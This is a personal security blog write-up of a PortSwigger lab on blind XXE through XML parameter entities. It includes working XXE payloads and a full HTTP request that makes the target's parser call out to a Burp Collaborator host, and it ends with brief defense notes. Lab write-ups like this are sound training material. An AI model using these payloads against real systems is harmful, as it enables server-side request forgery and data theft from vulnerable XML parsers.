Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Blind XXE with out-of-band interaction via XML parameter entities

Blind XXE with out-of-band interaction via XML parameter entities: The Check stock endpoint parses XML but: - Doesn’t display unexpected values (blind behavior), and - Blocks regular (general) external entities. • PortSwigger • XXE • in-band, out-of-band

2022-11-114 tags
Tags

🎯 Objective

The Check stock endpoint parses XML but:

  • Doesn’t display unexpected values (blind behavior), and
  • Blocks regular (general) external entities.

My goal: leverage a parameter entity (PE) to trigger an out-of-band (OOB) DNS + HTTP interaction with Burp Collaborator.


🧩 What I’m exploiting

  • The XML parser still accepts a DOCTYPE and parameter entities even though general entities are blocked.
  • When a parameter entity is defined with a remote SYSTEM identifier, the parser will fetch it — causing a DNS lookup and then an HTTP request to my Collaborator domain.
  • I don’t need any in-band reflection — the network callback itself proves the issue.

🧭 My path

1) Tried a general entity (blocked)

I first attempted a classic general entity expansion:

xml
]> &xsisec; 1

Server response:

http
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 47

"Entities are not allowed for security reasons"

As expected, general entities (&entity;) are filtered.


2) Probed parameter entities (promising)

Next, I tested whether parameter entities (%entity;) were allowed by sending a minimal/incomplete probe to see how the parser reacts:

xml
%xsisec;]>  1 1

Response:

http
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 19

"XML parsing error"

This is actually useful: it suggests the parser hit the DOCTYPE/PE path (different error), rather than outright blocking entities at the front door.


3) Final working payload (parameter entity → Collaborator callback)

I then sent a well‑formed XML with a DOCTYPE that defines a parameter entity pointing to my Collaborator domain and immediately expands it:

xml
<?xml version="1.0"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xsisec SYSTEM "http://COLLAB-ID.oastify.net/">
  %xsisec;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>
  • Replace COLLAB-ID.oastify.net with your actual Burp Collaborator domain.
  • If the lab prefers TLS, try https://COLLAB-ID.oastify.net/ (either can work; HTTP is commonly fine).

Why this works: Expanding %xsisec; forces the parser to resolve the external parameter entity, which triggers a DNS lookup and an HTTP GET to the Collaborator server — even though the application never renders entity content.


📤 Full request (example)

http
POST /product/stock HTTP/1.1
Host: 0af900d704b3257fc06e483b002e009d.web-security-academy.net
Cookie: session=G6WYWaROUjXPLZuNKsqxrLRIRyPlRJO7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0af900d704b3257fc06e483b002e009d.web-security-academy.net/product?productId=1
Content-Type: application/xml
Origin: https://0af900d704b3257fc06e483b002e009d.web-security-academy.net
Connection: close

<?xml version="1.0"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xsisec SYSTEM "http://COLLAB-ID.oastify.net/">
  %xsisec;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>

🔎 Verifying in Collaborator

  • Open the Collaborator client and you should see:
    • A DNS interaction for COLLAB-ID.oastify.net (parser lookup), and
    • An HTTP interaction (fetch of the parameter entity).
  • That’s your proof of a blind XXE via parameter entity — lab solved.

🧪 Troubleshooting

  • Only DNS, no HTTP? Some parsers perform name resolution without fetching. Make sure your URL ends with a slash (e.g., http://id.oastify.net/) and that your target can reach the internet.
  • Still blocked? Try both http and https. Remove extra whitespace; keep the DOCTYPE minimal.
  • No DOCTYPE allowed? Then this specific technique won’t work; you’d pivot to other XXE primitives (not needed here).

🔒 Defense (notes to self)

  • Disable external entities and DTDs (FEATURE_SECURE_PROCESSING, disallow DOCTYPE).
  • Enforce strict Content-Type allowlist and XML schemas.
  • Prefer JSON or hardened XML bindings, and monitor for unexpected outbound requests from the app tier.

These are my notes and the exact payloads I used. The key was parameter entity resolution, not general entities.

Navigate

In this post

  1. 01🎯 Objective
  2. 02🧩 What I’m exploiting
  3. 03🧭 My path
  4. 041) Tried a general entity (blocked)
  5. 052) Probed parameter entities (promising)
  6. 063) Final working payload (parameter entity → Collaborator callback)
  7. 07📤 Full request (example)
  8. 08🔎 Verifying in Collaborator
  9. 09🧪 Troubleshooting
  10. 10🔒 Defense (notes to self)
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.